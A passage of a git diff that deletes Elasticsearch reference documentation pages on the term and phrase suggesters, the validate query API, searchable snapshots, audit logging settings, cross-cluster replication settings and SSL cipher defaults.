-    "text" : "obel prize",
-    "simple_phrase" : {
-      "phrase" : {
-        "field" : "title.trigram",
-        "size" : 1,
-        "direct_generator" : [ {
-          "field" : "title.trigram",
-          "suggest_mode" : "always"
-        }, {
-          "field" : "title.reverse",
-          "suggest_mode" : "always",
-          "pre_filter" : "reverse",
-          "post_filter" : "reverse"
-        } ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-`pre_filter` and `post_filter` can also be used to inject synonyms after
-candidates are generated. For instance for the query `captain usq` we
-might generate a candidate `usa` for the term `usq`, which is a synonym for
-`america`. This allows us to present `captain america` to the user if this
-phrase scores high enough.
diff --git a/docs/reference/search/suggesters/term-suggest.asciidoc b/docs/reference/search/suggesters/term-suggest.asciidoc
deleted file mode 100644
index 43d91ce164f..00000000000
--- a/docs/reference/search/suggesters/term-suggest.asciidoc
+++ /dev/null
@@ -1,119 +0,0 @@
-[[term-suggester]]
-==== Term suggester
-
-NOTE: In order to understand the format of suggestions, please
-read the <<search-suggesters>> page first.
-
-The `term` suggester suggests terms based on edit distance. The provided
-suggest text is analyzed before terms are suggested. The suggested terms
-are provided per analyzed suggest text token. The `term` suggester
-doesn't take the query into account that is part of request.
-
-===== Common suggest options:
-
-[horizontal]
-`text`::
-    The suggest text. The suggest text is a required option that
-    needs to be set globally or per suggestion.
-
-`field`::
-    The field to fetch the candidate suggestions from. This is
-    a required option that either needs to be set globally or per
-    suggestion.
-
-`analyzer`::
-    The analyzer to analyse the suggest text with. Defaults
-    to the search analyzer of the suggest field.
-
-`size`::
-    The maximum corrections to be returned per suggest text
-    token.
-
-`sort`::
-    Defines how suggestions should be sorted per suggest text
-    term. Two possible values:
-+
-    ** `score`:     Sort by score first, then document frequency and
-                    then the term itself.
-    ** `frequency`: Sort by document frequency first, then similarity
-                    score and then the term itself.
-+
-`suggest_mode`::
-    The suggest mode controls what suggestions are
-    included or controls for what suggest text terms, suggestions should be
-    suggested. Three possible values can be specified:
-+
-     ** `missing`:  Only provide suggestions for suggest text terms that are
-                    not in the index. This is the default.
-     ** `popular`:  Only suggest suggestions that occur in more docs than
-                    the original suggest text term.
-     ** `always`:   Suggest any matching suggestions based on terms in the
-                    suggest text.
-
-===== Other term suggest options:
-
-[horizontal]
-`max_edits`::
-    The maximum edit distance candidate suggestions can
-    have in order to be considered as a suggestion. Can only be a value
-    between 1 and 2. Any other value results in a bad request error being
-    thrown. Defaults to 2.
-
-`prefix_length`::
-    The number of minimal prefix characters that must
-    match in order be a candidate for suggestions. Defaults to 1. Increasing
-    this number improves spellcheck performance. Usually misspellings don't
-    occur in the beginning of terms. (Old name "prefix_len" is deprecated)
-
-`min_word_length`::
-    The minimum length a suggest text term must have in
-    order to be included. Defaults to 4. (Old name "min_word_len" is deprecated)
-
-`shard_size`::
-    Sets the maximum number of suggestions to be retrieved
-    from each individual shard. During the reduce phase only the top N
-    suggestions are returned based on the `size` option. Defaults to the
-    `size` option. Setting this to a value higher than the `size` can be
-    useful in order to get a more accurate document frequency for spelling
-    corrections at the cost of performance. Due to the fact that terms are
-    partitioned amongst shards, the shard level document frequencies of
-    spelling corrections may not be precise. Increasing this will make these
-    document frequencies more precise.
-
-`max_inspections`::
-    A factor that is used to multiply with the
-    `shards_size` in order to inspect more candidate spelling corrections on
-    the shard level. Can improve accuracy at the cost of performance.
-    Defaults to 5.
-
-`min_doc_freq`::
-    The minimal threshold in number of documents a
-    suggestion should appear in. This can be specified as an absolute number
-    or as a relative percentage of number of documents. This can improve
-    quality by only suggesting high frequency terms. Defaults to 0f and is
-    not enabled. If a value higher than 1 is specified, then the number
-    cannot be fractional. The shard level document frequencies are used for
-    this option.
-
-`max_term_freq`::
-    The maximum threshold in number of documents in which a
-    suggest text token can exist in order to be included. Can be a relative
-    percentage number (e.g., 0.4) or an absolute number to represent document
-    frequencies. If a value higher than 1 is specified, then fractional can
-    not be specified. Defaults to 0.01f. This can be used to exclude high
-    frequency terms -- which are usually spelled correctly -- from being spellchecked.
-    This also improves the spellcheck performance. The shard level document frequencies
-    are used for this option.
-
-`string_distance`::
-    Which string distance implementation to use for comparing how similar
-    suggested terms are. Five possible values can be specified:
-    
-    ** `internal`: The default based on damerau_levenshtein but highly optimized
-    for comparing string distance for terms inside the index.
-    ** `damerau_levenshtein`: String distance algorithm based on
-    Damerau-Levenshtein algorithm.
-    ** `levenshtein`: String distance algorithm based on Levenshtein edit distance
-    algorithm.
-    ** `jaro_winkler`: String distance algorithm based on Jaro-Winkler algorithm.
-    ** `ngram`: String distance algorithm based on character n-grams.
diff --git a/docs/reference/search/validate.asciidoc b/docs/reference/search/validate.asciidoc
deleted file mode 100644
index 624fd039af3..00000000000
--- a/docs/reference/search/validate.asciidoc
+++ /dev/null
@@ -1,295 +0,0 @@
-[[search-validate]]
-=== Validate API
-
-Validates a potentially expensive query without executing it.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_validate/query?q=user.id:kimchy
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[[search-validate-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_validate/<query>`
-
-
-[[search-validate-api-desc]]
-==== {api-description-title}
-
-The validate API allows you to validate a potentially expensive query
-without executing it. The query can be sent either as a path parameter or in the
-request body.
-
-
-[[search-validate-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases to search.
-Wildcard (`*`) expressions are supported.
-+
-To search all data streams or indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=query]
-
-
-[[search-validate-api-query-params]]
-==== {api-query-parms-title}
-
-`all_shards`::
-  (Optional, Boolean) If `true`, the validation is executed on all shards
-  instead of one random shard per index. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=analyzer]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=analyze_wildcard]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=default_operator]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=df]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-
-`explain`::
-  (Optional, Boolean) If `true`, the response returns detailed information if an
-  error has occurred. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=lenient]
-
-`rewrite`::
-  (Optional, Boolean) If `true`, returns a more detailed explanation showing the
-  actual Lucene query that will be executed. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-q]
-
-
-[[search-validate-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_bulk?refresh
-{"index":{"_id":1}}
-{"user" : { "id": "kimchy" }, "@timestamp" : "2099-11-15T14:12:12", "message" : "trying out Elasticsearch"}
-{"index":{"_id":2}}
-{"user" : { "id": "kimchi" }, "@timestamp" : "2099-11-15T14:12:13", "message" : "My user ID is similar to kimchy!"}
---------------------------------------------------
-
-
-When sent a valid query:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_validate/query?q=user.id:kimchy
---------------------------------------------------
-// TEST[continued]
-
-
-The response contains `valid:true`:
-
-[source,console-result]
---------------------------------------------------
-{"valid":true,"_shards":{"total":1,"successful":1,"failed":0}}
---------------------------------------------------
-
-
-The query may also be sent in the request body:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_validate/query
-{
-  "query" : {
-    "bool" : {
-      "must" : {
-        "query_string" : {
-          "query" : "*:*"
-        }
-      },
-      "filter" : {
-        "term" : { "user.id" : "kimchy" }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-NOTE: The query being sent in the body must be nested in a `query` key, same as
-the <<search-search,search api>> works
-
-If the query is invalid, `valid` will be `false`. Here the query is invalid
-because {es} knows the `post_date` field should be a date due to dynamic
-mapping, and 'foo' does not correctly parse into a date:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_validate/query
-{
-  "query": {
-    "query_string": {
-      "query": "@timestamp:foo",
-      "lenient": false
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{"valid":false,"_shards":{"total":1,"successful":1,"failed":0}}
---------------------------------------------------
-
-===== The explain parameter
-
-An `explain` parameter can be specified to get more detailed information about
-why a query failed:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_validate/query?explain=true
-{
-  "query": {
-    "query_string": {
-      "query": "@timestamp:foo",
-      "lenient": false
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "valid" : false,
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "failed" : 0
-  },
-  "explanations" : [ {
-    "index" : "my-index-000001",
-    "valid" : false,
-    "error" : "my-index-000001/IAEc2nIXSSunQA_suI0MLw] QueryShardException[failed to create query:...failed to parse date field [foo]"
-  } ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/"error" : "[^\"]+"/"error": "$body.explanations.0.error"/]
-
-===== The rewrite parameter
-
-When the query is valid, the explanation defaults to the string representation
-of that query. With `rewrite` set to `true`, the explanation is more detailed
-showing the actual Lucene query that will be executed.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_validate/query?rewrite=true
-{
-  "query": {
-    "more_like_this": {
-      "like": {
-        "_id": "2"
-      },
-      "boost_terms": 1
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:the output is randomized depending on which shard we hit]
-
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "valid": true,
-   "_shards": {
-      "total": 1,
-      "successful": 1,
-      "failed": 0
-   },
-   "explanations": [
-      {
-         "index": "my-index-000001",
-         "valid": true,
-         "explanation": "((user:terminator^3.71334 plot:future^2.763601 plot:human^2.8415773 plot:sarah^3.4193945 plot:kyle^3.8244398 plot:cyborg^3.9177752 plot:connor^4.040236 plot:reese^4.7133346 ... )~6) -ConstantScore(_id:2)) #(ConstantScore(_type:_doc))^0.0"
-      }
-   ]
-}
---------------------------------------------------
-
-
-===== Rewrite and all_shards parameters
-
-By default, the request is executed on a single shard only, which is randomly
-selected. The detailed explanation of the query may depend on which shard is
-being hit, and therefore may vary from one request to another. So, in case of
-query rewrite the `all_shards` parameter should be used to get response from
-all available shards.
-
-////
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_bulk?refresh
-{"index":{"_id":1}}
-{"user" : { "id": "kimchy" }, "@timestamp" : "2099-11-15T14:12:12", "message" : "trying out Elasticsearch"}
-{"index":{"_id":2}}
-{"user" : { "id": "kimchi" }, "@timestamp" : "2099-11-15T14:12:13", "message" : "My user ID is similar to kimchy!"}
---------------------------------------------------
-////
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_validate/query?rewrite=true&all_shards=true
-{
-  "query": {
-    "match": {
-      "user.id": {
-        "query": "kimchy",
-        "fuzziness": "auto"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "valid": true,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "failed": 0
-  },
-  "explanations": [
-    {
-      "index": "my-index-000001",
-      "shard": 0,
-      "valid": true,
-      "explanation": "(user.id:kimchi)^0.8333333 user.id:kimchy"
-    }
-  ]
-}
---------------------------------------------------
diff --git a/docs/reference/searchable-snapshots/apis/mount-snapshot.asciidoc b/docs/reference/searchable-snapshots/apis/mount-snapshot.asciidoc
deleted file mode 100644
index 4b8f12d59c3..00000000000
--- a/docs/reference/searchable-snapshots/apis/mount-snapshot.asciidoc
+++ /dev/null
@@ -1,128 +0,0 @@
-[role="xpack"]
-[testenv="enterprise"]
-[[searchable-snapshots-api-mount-snapshot]]
-=== Mount snapshot API
-++++
-<titleabbrev>Mount snapshot</titleabbrev>
-++++
-
-beta::[]
-
-Mount a snapshot as a searchable snapshot index.
-
-[[searchable-snapshots-api-mount-request]]
-==== {api-request-title}
-
-`POST /_snapshot/<repository>/<snapshot>/_mount`
-
-[[searchable-snapshots-api-mount-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the
-`manage` cluster privilege and the `manage` index privilege
-for any included indices to use this API.
-For more information, see <<security-privileges>>.
-
-[[searchable-snapshots-api-mount-desc]]
-==== {api-description-title}
-
-
-[[searchable-snapshots-api-mount-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-The name of the repository containing
-the snapshot of the index to mount.
-
-`<snapshot>`::
-(Required, string)
-The name of the snapshot of the index
-to mount.
-
-[[searchable-snapshots-api-mount-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-`wait_for_completion`::
-(Optional, Boolean) If `true`, the request blocks until the operation is complete.
-Defaults to `false`.
-
-[[searchable-snapshots-api-mount-request-body]]
-==== {api-request-body-title}
-
-`index`::
-(Required, string)
-Name of the index contained in the snapshot
-whose data is to be mounted.
-
-If no `renamed_index` is specified this name
-will also be used to create the new index.
-
-`renamed_index`::
-+
---
-(Optional, string)
-Name of the index that will be created.
---
-
-`index_settings`::
-+
---
-(Optional, object)
-Settings that should be added to the index when it is mounted.
---
-
-`ignore_index_settings`::
-+
---
-(Optional, array of strings)
-Names of settings that should be removed from the index when it is mounted.
---
-
-[[searchable-snapshots-api-mount-example]]
-==== {api-examples-title}
-////
-[source,console]
------------------------------------
-PUT /my_docs
-{
-  "settings" : {
-    "index.number_of_shards" : 1,
-    "index.number_of_replicas" : 0
-  }
-}
-
-PUT /_snapshot/my_repository/my_snapshot?wait_for_completion=true
-{
-  "include_global_state": false,
-  "indices": "my_docs"
-}
-
-DELETE /my_docs
------------------------------------
-// TEST[setup:setup-repository]
-////
-
-Mounts the index `my_docs` from an existing snapshot named `my_snapshot` stored
-in the `my_repository` as a new index `docs`:
-
-[source,console]
---------------------------------------------------
-POST /_snapshot/my_repository/my_snapshot/_mount?wait_for_completion=true
-{
-  "index": "my_docs", <1>
-  "renamed_index": "docs", <2>
-  "index_settings": { <3>
-    "index.number_of_replicas": 0
-  },
-  "ignored_index_settings": [ "index.refresh_interval" ] <4>
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The name of the index in the snapshot to mount
-<2> The name of the index to create
-<3> Any index settings to add to the new index
-<4> List of indices to ignore when mounting the snapshotted index
diff --git a/docs/reference/searchable-snapshots/apis/searchable-snapshots-apis.asciidoc b/docs/reference/searchable-snapshots/apis/searchable-snapshots-apis.asciidoc
deleted file mode 100644
index 1cdf2834a34..00000000000
--- a/docs/reference/searchable-snapshots/apis/searchable-snapshots-apis.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-[role="xpack"]
-[testenv="enterprise"]
-[[searchable-snapshots-apis]]
-== Searchable snapshots APIs
-
-beta::[]
-
-You can use the following APIs to perform searchable snapshots operations.
-
-* <<searchable-snapshots-api-mount-snapshot,Mount snapshot>>
-
-include::mount-snapshot.asciidoc[]
diff --git a/docs/reference/searchable-snapshots/index.asciidoc b/docs/reference/searchable-snapshots/index.asciidoc
deleted file mode 100644
index c2d6b3e109c..00000000000
--- a/docs/reference/searchable-snapshots/index.asciidoc
+++ /dev/null
@@ -1,100 +0,0 @@
-[[searchable-snapshots]]
-== {search-snaps-cap}
-
-beta::[]
-
-{search-snaps-cap} let you reduce your operating costs by using
-<<snapshot-restore, snapshots>> for resiliency rather than maintaining
-<<scalability,replica shards>> within a cluster. When you mount an index from a
-snapshot as a {search-snap}, {es} copies the index shards to local storage
-within the cluster. This ensures that search performance is comparable to
-searching any other index, and minimizes the need to access the snapshot
-repository. Should a node fail, shards of a {search-snap} index are
-automatically recovered from the snapshot repository.
-
-This can result in significant cost savings for less frequently searched data.
-With {search-snaps}, you no longer need an extra index shard copy to avoid data
-loss, potentially halving the node local storage capacity necessary for
-searching that data. Because {search-snaps} rely on the same snapshot mechanism
-you use for backups, they have a minimal impact on your snapshot repository
-storage costs.
-
-[discrete]
-[[using-searchable-snapshots]]
-=== Using {search-snaps}
-
-Searching a {search-snap} index is the same as searching any other index.
-Search performance is comparable to regular indices because the shard data is
-copied onto nodes in the cluster when the {search-snap} is mounted.
-
-By default, {search-snap} indices have no replicas. The underlying snapshot
-provides resilience and the query volume is expected to be low enough that a
-single shard copy will be sufficient. However, if you need to support a higher
-query volume, you can add replicas by adjusting the `index.number_of_replicas`
-index setting.
-
-If a node fails and {search-snap} shards need to be restored from the snapshot,
-there is a brief window of time while {es} allocates the shards to other nodes
-where the cluster health will not be `green`. Searches that hit these shards
-will fail or return partial results until they are reallocated.
-
-You typically manage {search-snaps} through {ilm-init}. The
-<<ilm-searchable-snapshot, searchable snapshots>> action automatically converts
-an index to a {search-snap} when it reaches the `cold` phase. You can also make
-indices in existing snapshots searchable by manually mounting them as
-{search-snaps} with the <<searchable-snapshots-api-mount-snapshot, mount
-snapshot>> API.
-
-To mount an index from a snapshot that contains multiple indices, we recommend
-creating a <<clone-snapshot-api, clone>> of the snapshot that contains only the
-index you want to search, and mounting the clone. You cannot delete a snapshot
-if it has any mounted indices, so creating a clone enables you to manage the
-lifecycle of the backup snapshot independently of any {search-snaps}.
-
-You can control the allocation of the shards of {search-snap} indices using the
-same mechanisms as for regular indices. For example, you could use
-<<shard-allocation-filtering>> to restrict {search-snap} shards to a subset of
-your nodes.
-
-We recommend that you <<indices-forcemerge, force-merge>> indices to a single
-segment per shard before taking a snapshot that will be mounted as a
-{search-snap} index. Each read from a snapshot repository takes time and costs
-money, and the fewer segments there are the fewer reads are needed to restore
-the snapshot.
-
-[TIP]
-====
-{search-snaps-cap} are ideal for managing a large archive of historical data.
-Historical information is typically searched less frequently than recent data
-and therefore may not need replicas for their performance benefits.
-
-For more complex or time-consuming searches, you can use <<async-search>> with
-{search-snaps}.
-====
-
-[discrete]
-[[how-searchable-snapshots-work]]
-=== How {search-snaps} work
-
-When an index is mounted from a snapshot, {es} allocates its shards to data
-nodes within the cluster. The data nodes then automatically restore the shard
-data from the repository onto local storage. Once the restore process
-completes, these shards respond to searches using the data held in local
-storage and do not need to access the repository. This avoids incurring the
-cost or performance penalty associated with reading data from the repository.
-
-If a node holding one of these shards fails, {es} automatically allocates it to
-another node, and that node restores the shard data from the repository. No
-replicas are needed, and no complicated monitoring or orchestration is
-necessary to restore lost shards.
-
-{es} restores {search-snap} shards in the background and you can search them
-even if they have not been fully restored. If a search hits a {search-snap}
-shard before it has been fully restored, {es} eagerly retrieves the data needed
-for the search. If a shard is freshly allocated to a node and still warming up,
-some searches will be slower. However, searches typically access a very small
-fraction of the total shard data so the performance penalty is typically small.
-
-Replicas of {search-snaps} shards are restored by copying data from the
-snapshot repository. In contrast, replicas of regular indices are restored by
-copying data from the primary.
diff --git a/docs/reference/settings/audit-settings.asciidoc b/docs/reference/settings/audit-settings.asciidoc
deleted file mode 100644
index 72241f683e3..00000000000
--- a/docs/reference/settings/audit-settings.asciidoc
+++ /dev/null
@@ -1,153 +0,0 @@
-[role="xpack"]
-[[auditing-settings]]
-=== Auditing security settings
-++++
-<titleabbrev>Auditing settings</titleabbrev>
-++++
-
-[[auditing-settings-description]]
-You can use <<enable-audit-logging,audit logging>> to record security-related
-events, such as authentication failures, refused connections, and data-access
-events.
-
-If configured, auditing settings must be set on every node in the cluster.
-Static settings, such as `xpack.security.audit.enabled`, must be configured in
-`elasticsearch.yml` on each node. For dynamic auditing settings, use the
-<<cluster-update-settings,cluster update settings API>> to ensure the setting is
-the same on all nodes.
-
-[[general-audit-settings]]
-==== General Auditing Settings
-[[xpack-security-audit-enabled]]
-// tag::xpack-security-audit-enabled-tag[]
-`xpack.security.audit.enabled`::
-(<<static-cluster-setting,Static>>)
-Set to `true` to enable auditing on the node. The default value is `false`. This
-puts the auditing events in a dedicated file named `<clustername>_audit.json` on
-each node.
-+
-If enabled, this setting must be configured in `elasticsearch.yml` on all nodes
-in the cluster.
-// end::xpack-security-audit-enabled-tag[]
-
-[[event-audit-settings]]
-==== Audited Event Settings
-
-The events and some other information about what gets logged can be controlled
-by using the following settings:
-
-[[xpack-sa-lf-events-include]]
-// tag::xpack-sa-lf-events-include-tag[]
-`xpack.security.audit.logfile.events.include`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Specifies which events to include in the auditing output. The default value is:
-`access_denied, access_granted, anonymous_access_denied, authentication_failed,
-connection_denied, tampered_request, run_as_denied, run_as_granted`.
-// end::xpack-sa-lf-events-include-tag[]
-
-[[xpack-sa-lf-events-exclude]]
-// tag::xpack-sa-lf-events-exclude-tag[]
-`xpack.security.audit.logfile.events.exclude`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Excludes the specified events from the output. By default, no events are
-excluded.
-// end::xpack-sa-lf-events-exclude-tag[]
-
-[[xpack-sa-lf-events-emit-request]]
-// tag::xpack-sa-lf-events-emit-request-tag[]
-`xpack.security.audit.logfile.events.emit_request_body`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Specifies whether to include the request body from REST requests on certain
-event types such as `authentication_failed`. The default value is `false`.
-+
---
-IMPORTANT: No filtering is performed when auditing, so sensitive data may be
-audited in plain text when including the request body in audit events.
---
-
-// end::xpack-sa-lf-events-emit-request-tag[]
-
-[[node-audit-settings]]
-==== Local Node Info Settings
-
-[[xpack-sa-lf-emit-node-name]]
-// tag::xpack-sa-lf-emit-node-name-tag[]
-`xpack.security.audit.logfile.emit_node_name`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Specifies whether to include the <<node-name,node name>> as a field in
-each audit event. The default value is `false`.
-// end::xpack-sa-lf-emit-node-name-tag[]
-
-[[xpack-sa-lf-emit-node-host-address]]
-// tag::xpack-sa-lf-emit-node-host-address-tag[]
-`xpack.security.audit.logfile.emit_node_host_address`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Specifies whether to include the node's IP address as a field in each audit event.
-The default value is `false`.
-// end::xpack-sa-lf-emit-node-host-address-tag[]
-
-[[xpack-sa-lf-emit-node-host-name]]
-// tag::xpack-sa-lf-emit-node-host-name-tag[]
-`xpack.security.audit.logfile.emit_node_host_name`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Specifies whether to include the node's host name as a field in each audit event.
-The default value is `false`.
-// end::xpack-sa-lf-emit-node-host-name-tag[]
-
-[[xpack-sa-lf-emit-node-id]]
-// tag::xpack-sa-lf-emit-node-id-tag[]
-`xpack.security.audit.logfile.emit_node_id`::
-(<<dynamic-cluster-setting,Dynamic>>)
-Specifies whether to include the node id as a field in each audit event.
-This is available for the new format only. That is to say, this information
-does not exist in the `<clustername>_access.log` file.
-Unlike <<node-name,node name>>, whose value might change if the administrator
-changes the setting in the config file, the node id will persist across cluster
-restarts and the administrator cannot change it.
-The default value is `true`.
-// end::xpack-sa-lf-emit-node-id-tag[]
-
-[[audit-event-ignore-policies]]
-==== Audit Logfile Event Ignore Policies
-
-These settings affect the <<audit-log-ignore-policy,ignore policies>>
-that enable fine-grained control over which audit events are printed to the log file.
-All of the settings with the same policy name combine to form a single policy.
-If an event matches all of the conditions for a specific policy, it is ignored
-and not printed.
-
-[[xpack-sa-lf-events-ignore-users]]
-// tag::xpack-sa-lf-events-ignore-users-tag[]
-`xpack.security.audit.logfile.events.ignore_filters.<policy_name>.users`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A list of user names or wildcards. The specified policy will
-not print audit events for users matching these values.
-// end::xpack-sa-lf-events-ignore-users-tag[]
-
-[[xpack-sa-lf-events-ignore-realms]]
-// tag::xpack-sa-lf-events-ignore-realms-tag[]
-`xpack.security.audit.logfile.events.ignore_filters.<policy_name>.realms`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A list of authentication realm names or wildcards. The specified policy will
-not print audit events for users in these realms.
-// end::xpack-sa-lf-events-ignore-realms-tag[]
-
-[[xpack-sa-lf-events-ignore-roles]]
-// tag::xpack-sa-lf-events-ignore-roles-tag[]
-`xpack.security.audit.logfile.events.ignore_filters.<policy_name>.roles`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A list of role names or wildcards. The specified policy will
-not print audit events for users that have these roles. If the user has several
-roles, some of which are *not* covered by the policy, the policy will
-*not* cover this event.
-// end::xpack-sa-lf-events-ignore-roles-tag[]
-
-[[xpack-sa-lf-events-ignore-indices]]
-// tag::xpack-sa-lf-events-ignore-indices-tag[]
-`xpack.security.audit.logfile.events.ignore_filters.<policy_name>.indices`::
-(<<dynamic-cluster-setting,Dynamic>>)
-A list of index names or wildcards. The specified policy will
-not print audit events when all the indices in the event match
-these values. If the event concerns several indices, some of which are
-*not* covered by the policy, the policy will *not* cover this event.
-// end::xpack-sa-lf-events-ignore-indices-tag[]
diff --git a/docs/reference/settings/ccr-settings.asciidoc b/docs/reference/settings/ccr-settings.asciidoc
deleted file mode 100644
index 8124b7c3672..00000000000
--- a/docs/reference/settings/ccr-settings.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-[role="xpack"]
-[[ccr-settings]]
-=== {ccr-cap} settings
-
-These {ccr} settings can be dynamically updated on a live cluster with the
-<<cluster-update-settings,cluster update settings API>>.
-
-[discrete]
-[[ccr-recovery-settings]]
-==== Remote recovery settings
-
-The following setting can be used to rate-limit the data transmitted during
-<<ccr-remote-recovery,remote recoveries>>:
-
-`ccr.indices.recovery.max_bytes_per_sec` (<<cluster-update-settings,Dynamic>>)::
-Limits the total inbound and outbound remote recovery traffic on each node.
-Since this limit applies on each node, but there may be many nodes performing
-remote recoveries concurrently, the total amount of remote recovery bytes may be
-much higher than this limit. If you set this limit too high then there is a risk
-that ongoing remote recoveries will consume an excess of bandwidth (or other
-resources) which could destabilize the cluster. This setting is used by both the
-leader and follower clusters. For example if it is set to `20mb` on a leader,
-the leader will only send `20mb/s` to the follower even if the follower is
-requesting and can accept `60mb/s`. Defaults to `40mb`.
-
-[discrete]
-[[ccr-advanced-recovery-settings]]
-==== Advanced remote recovery settings
-
-The following _expert_ settings can be set to manage the resources consumed by
-remote recoveries:
-
-`ccr.indices.recovery.max_concurrent_file_chunks` (<<cluster-update-settings,Dynamic>>)::
-Controls the number of file chunk requests that can be sent in parallel per
-recovery. As multiple remote recoveries might already running in parallel,
-increasing this expert-level setting might only help in situations where remote
-recovery of a single shard is not reaching the total inbound and outbound remote recovery traffic as configured by `ccr.indices.recovery.max_bytes_per_sec`.
-Defaults to `5`. The maximum allowed value is `10`.
-
-`ccr.indices.recovery.chunk_size`(<<cluster-update-settings,Dynamic>>)::
-Controls the chunk size requested by the follower during file transfer. Defaults to
-`1mb`.
-
-`ccr.indices.recovery.recovery_activity_timeout`(<<cluster-update-settings,Dynamic>>)::
-Controls the timeout for recovery activity. This timeout primarily applies on
-the leader cluster. The leader cluster must open resources in-memory to supply
-data to the follower during the recovery process. If the leader does not receive recovery requests from the follower for this period of time, it will close the resources. Defaults to 60 seconds.
-
-`ccr.indices.recovery.internal_action_timeout` (<<cluster-update-settings,Dynamic>>)::
-Controls the timeout for individual network requests during the remote recovery
-process. An individual action timing out can fail the recovery. Defaults to
-60 seconds.
diff --git a/docs/reference/settings/common-defs.asciidoc b/docs/reference/settings/common-defs.asciidoc
deleted file mode 100644
index ce66eb94b10..00000000000
--- a/docs/reference/settings/common-defs.asciidoc
+++ /dev/null
@@ -1,182 +0,0 @@
-tag::ssl-certificate[]
-Specifies the path for the PEM encoded certificate (or certificate chain) that is
-associated with the key.
-+
-This setting can be used only if `ssl.key` is set.
-end::ssl-certificate[]
-
-tag::ssl-certificate-authorities[]
-List of paths to PEM encoded certificate files that should be trusted.
-+
-This setting and `ssl.truststore.path` cannot be used at the same time.
-end::ssl-certificate-authorities[]
-
-tag::ssl-cipher-suites-values[]
-Supported cipher suites vary depending on which version of Java you use. For
-example, for version 12 the default value is `TLS_AES_256_GCM_SHA384`,
-`TLS_AES_128_GCM_SHA256`, `TLS_CHACHA20_POLY1305_SHA256`,
-`TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384`, `TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256`,
-`TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384`, `TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256`,
-`TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256`, `TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256`,
-`TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384`, `TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256`,
-`TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384`, `TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256`,
-`TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA`, `TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA`,
-`TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA`, `TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA`,
-`TLS_RSA_WITH_AES_256_GCM_SHA384`, `TLS_RSA_WITH_AES_128_GCM_SHA256`,
-`TLS_RSA_WITH_AES_256_CBC_SHA256`, `TLS_RSA_WITH_AES_128_CBC_SHA256`,
-`TLS_RSA_WITH_AES_256_CBC_SHA`, `TLS_RSA_WITH_AES_128_CBC_SHA`.
-+
-For more information, see Oracle's
-https://docs.oracle.com/en/java/javase/11/security/oracle-providers.html#GUID-7093246A-31A3-4304-AC5F-5FB6400405E2[Java Cryptography Architecture documentation].
-end::ssl-cipher-suites-values[]
-
